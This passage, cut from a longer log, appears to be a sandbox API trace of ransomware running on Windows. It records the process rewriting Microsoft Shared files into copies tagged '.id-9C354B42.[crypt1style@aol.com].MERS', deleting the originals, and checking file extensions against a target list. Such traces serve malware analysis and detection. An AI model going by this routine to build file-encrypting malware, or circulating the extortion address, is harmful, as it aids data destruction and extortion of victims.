shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0045.026] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.026] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0045.026] GetLastError () returned 0x0 [0045.026] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x377ef, lpOverlapped=0x0) returned 1 [0045.197] WriteFile (in: hFile=0x1a4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x377f0, lpOverlapped=0x0) returned 1 [0045.202] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.202] WriteFile (in: hFile=0x1a4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0045.202] SetEndOfFile (hFile=0x1a4) returned 1 [0045.203] CloseHandle (hObject=0x1a4) returned 1 [0045.203] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.203] SetEndOfFile (hFile=0x1e8) returned 1 [0045.206] CloseHandle (hObject=0x1e8) returned 1 [0045.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0045.206] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1 [0045.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0045.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0045.206] lstrlenW (lpString=".doc") returned 4 [0045.206] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0045.206] lstrlenW (lpString=".docx") returned 5 [0045.206] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0045.206] lstrlenW (lpString=".pdf") returned 4 [0045.206] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0045.207] lstrlenW (lpString=".xls") returned 4 [0045.207] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0045.207] lstrlenW (lpString=".xlsx") returned 5 [0045.207] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0045.207] lstrlenW (lpString=".ppt") returned 4 [0045.207] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0045.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0045.207] lstrlenW (lpString=".zip") returned 4 [0045.207] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0045.207] lstrlenW (lpString=".rar") returned 4 [0045.207] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0045.207] lstrlenW (lpString=".bz2") returned 4 [0045.207] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0045.207] lstrlenW (lpString=".7z") returned 3 [0045.207] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0045.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0045.207] lstrlenW (lpString=".dbf") returned 4 [0045.207] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0045.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0045.208] lstrlenW (lpString=".1cd") returned 4 [0045.208] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0045.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0045.208] lstrlenW (lpString=".jpg") returned 4 [0045.208] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0045.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0045.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0045.208] lstrlenW (lpString=".doc") returned 4 [0045.208] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0045.208] lstrlenW (lpString=".docx") returned 5 [0045.208] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0045.208] lstrlenW (lpString=".pdf") returned 4 [0045.208] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0045.208] lstrlenW (lpString=".xls") returned 4 [0045.208] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0045.208] lstrlenW (lpString=".xlsx") returned 5 [0045.208] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0045.208] lstrlenW (lpString=".ppt") returned 4 [0045.208] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0045.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0045.208] lstrlenW (lpString=".zip") returned 4 [0045.208] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0045.208] lstrlenW (lpString=".rar") returned 4 [0045.209] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0045.209] lstrlenW (lpString=".bz2") returned 4 [0045.209] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0045.209] lstrlenW (lpString=".7z") returned 3 [0045.209] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0045.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0045.209] lstrlenW (lpString=".dbf") returned 4 [0045.209] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0045.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0045.209] lstrlenW (lpString=".1cd") returned 4 [0045.209] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0045.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0045.209] lstrlenW (lpString=".jpg") returned 4 [0045.209] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0045.209] lstrcmpiW (lpString1=".jpg", lpString2=".MERS") returned -1 [0045.210] lstrlenW (lpString="Roses.jpg") returned 9 [0045.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0045.235] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1920) returned 1 [0045.235] CloseHandle (hObject=0x1f8) returned 1 [0045.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0045.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0045.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0045.236] lstrlenW (lpString=".doc") returned 4 [0045.236] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0045.236] lstrlenW (lpString=".docx") returned 5 [0045.236] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0045.236] lstrlenW (lpString=".pdf") returned 4 [0045.236] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0045.236] lstrlenW (lpString=".xls") returned 4 [0045.236] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0045.236] lstrlenW (lpString=".xlsx") returned 5 [0045.236] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0045.236] lstrlenW (lpString=".ppt") returned 4 [0045.236] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0045.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0045.236] lstrlenW (lpString=".zip") returned 4 [0045.236] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0045.236] lstrlenW (lpString=".rar") returned 4 [0045.236] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0045.236] lstrlenW (lpString=".bz2") returned 4 [0045.236] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0045.236] lstrlenW (lpString=".7z") returned 3 [0045.237] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0045.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0045.237] lstrlenW (lpString=".dbf") returned 4 [0045.237] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0045.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0045.237] lstrlenW (lpString=".1cd") returned 4 [0045.237] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0045.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0045.237] lstrlenW (lpString=".jpg") returned 4 [0045.237] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0045.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0045.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0045.237] lstrlenW (lpString=".doc") returned 4 [0045.237] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0045.237] lstrlenW (lpString=".docx") returned 5 [0045.237] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0045.237] lstrlenW (lpString=".pdf") returned 4 [0045.237] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0045.237] lstrlenW (lpString=".xls") returned 4 [0045.237] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0045.237] lstrlenW (lpString=".xlsx") returned 5 [0045.237] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0045.237] lstrlenW (lpString=".ppt") returned 4 [0045.237] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0045.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0045.237] lstrlenW (lpString=".zip") returned 4 [0045.237] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0045.238] lstrlenW (lpString=".rar") returned 4 [0045.238] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0045.238] lstrlenW (lpString=".bz2") returned 4 [0045.238] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0045.238] lstrlenW (lpString=".7z") returned 3 [0045.238] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0045.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0045.238] lstrlenW (lpString=".dbf") returned 4 [0045.238] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0045.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0045.238] lstrlenW (lpString=".1cd") returned 4 [0045.238] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0045.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0045.238] lstrlenW (lpString=".jpg") returned 4 [0045.238] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0045.238] lstrcmpiW (lpString1=".jpg", lpString2=".MERS") returned -1 [0045.238] lstrlenW (lpString="Sand_Paper.jpg") returned 14 [0045.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0045.239] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=15776) returned 1 [0045.239] CloseHandle (hObject=0x1f8) returned 1 [0045.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg")) returned 0x20 [0045.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.239] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0045.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0045.239] lstrlenW (lpString=".doc") returned 4 [0045.239] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0045.239] lstrlenW (lpString=".docx") returned 5 [0045.239] lstrcmpiW (lpString1=".docx", lpString2="r.jpg") returned -1 [0045.239] lstrlenW (lpString=".pdf") returned 4 [0045.239] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0045.239] lstrlenW (lpString=".xls") returned 4 [0045.239] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0045.239] lstrlenW (lpString=".xlsx") returned 5 [0045.239] lstrcmpiW (lpString1=".xlsx", lpString2="r.jpg") returned -1 [0045.239] lstrlenW (lpString=".ppt") returned 4 [0045.239] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0045.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0045.240] lstrlenW (lpString=".zip") returned 4 [0045.240] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0045.240] lstrlenW (lpString=".rar") returned 4 [0045.240] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0045.240] lstrlenW (lpString=".bz2") returned 4 [0045.240] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0045.240] lstrlenW (lpString=".7z") returned 3 [0045.240] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0045.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0045.240] lstrlenW (lpString=".dbf") returned 4 [0045.240] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0045.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0045.240] lstrlenW (lpString=".1cd") returned 4 [0045.240] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0045.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0045.241] lstrlenW (lpString=".jpg") returned 4 [0045.241] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0045.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0045.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0045.241] lstrlenW (lpString=".doc") returned 4 [0045.241] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0045.241] lstrlenW (lpString=".docx") returned 5 [0045.241] lstrcmpiW (lpString1=".docx", lpString2="r.jpg") returned -1 [0045.241] lstrlenW (lpString=".pdf") returned 4 [0045.241] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0045.241] lstrlenW (lpString=".xls") returned 4 [0045.241] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0045.241] lstrlenW (lpString=".xlsx") returned 5 [0045.241] lstrcmpiW (lpString1=".xlsx", lpString2="r.jpg") returned -1 [0045.241] lstrlenW (lpString=".ppt") returned 4 [0045.241] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0045.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0045.241] lstrlenW (lpString=".zip") returned 4 [0045.241] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0045.241] lstrlenW (lpString=".rar") returned 4 [0045.241] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0045.241] lstrlenW (lpString=".bz2") returned 4 [0045.241] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0045.241] lstrlenW (lpString=".7z") returned 3 [0045.241] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0045.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0045.242] lstrlenW (lpString=".dbf") returned 4 [0045.242] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0045.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0045.242] lstrlenW (lpString=".1cd") returned 4 [0045.242] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0045.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0045.242] lstrlenW (lpString=".jpg") returned 4 [0045.242] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0045.242] lstrcmpiW (lpString1=".emf", lpString2=".MERS") returned -1 [0045.242] lstrlenW (lpString="Seyes.emf") returned 9 [0045.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0045.242] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=37316) returned 1 [0045.242] CloseHandle (hObject=0x1f8) returned 1 [0045.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf")) returned 0x20 [0045.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0045.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0045.243] lstrlenW (lpString=".doc") returned 4 [0045.243] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0045.243] lstrlenW (lpString=".docx") returned 5 [0045.243] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0045.243] lstrlenW (lpString=".pdf") returned 4 [0045.243] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0045.243] lstrlenW (lpString=".xls") returned 4 [0045.243] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0045.243] lstrlenW (lpString=".xlsx") returned 5 [0045.243] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0045.243] lstrlenW (lpString=".ppt") returned 4 [0045.243] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0045.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0045.243] lstrlenW (lpString=".zip") returned 4 [0045.243] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0045.243] lstrlenW (lpString=".rar") returned 4 [0045.243] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0045.243] lstrlenW (lpString=".bz2") returned 4 [0045.244] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0045.244] lstrlenW (lpString=".7z") returned 3 [0045.244] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0045.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0045.244] lstrlenW (lpString=".dbf") returned 4 [0045.244] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0045.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0045.244] lstrlenW (lpString=".1cd") returned 4 [0045.244] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0045.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0045.244] lstrlenW (lpString=".jpg") returned 4 [0045.244] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0045.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0045.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0045.244] lstrlenW (lpString=".doc") returned 4 [0045.244] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0045.244] lstrlenW (lpString=".docx") returned 5 [0045.244] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0045.244] lstrlenW (lpString=".pdf") returned 4 [0045.244] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0045.244] lstrlenW (lpString=".xls") returned 4 [0045.244] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0045.244] lstrlenW (lpString=".xlsx") returned 5 [0045.244] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0045.244] lstrlenW (lpString=".ppt") returned 4 [0045.244] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0045.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0045.245] lstrlenW (lpString=".zip") returned 4 [0045.245] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0045.245] lstrlenW (lpString=".rar") returned 4 [0045.245] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0045.245] lstrlenW (lpString=".bz2") returned 4 [0045.245] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0045.245] lstrlenW (lpString=".7z") returned 3 [0045.245] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0045.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0045.245] lstrlenW (lpString=".dbf") returned 4 [0045.245] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0045.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0045.245] lstrlenW (lpString=".1cd") returned 4 [0045.245] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0045.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0045.245] lstrlenW (lpString=".jpg") returned 4 [0045.245] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0045.245] lstrcmpiW (lpString1=".htm", lpString2=".MERS") returned -1 [0045.245] lstrlenW (lpString="Shades of Blue.htm") returned 18 [0045.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0045.246] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=237) returned 1 [0045.246] CloseHandle (hObject=0x1f8) returned 1 [0045.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0045.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft 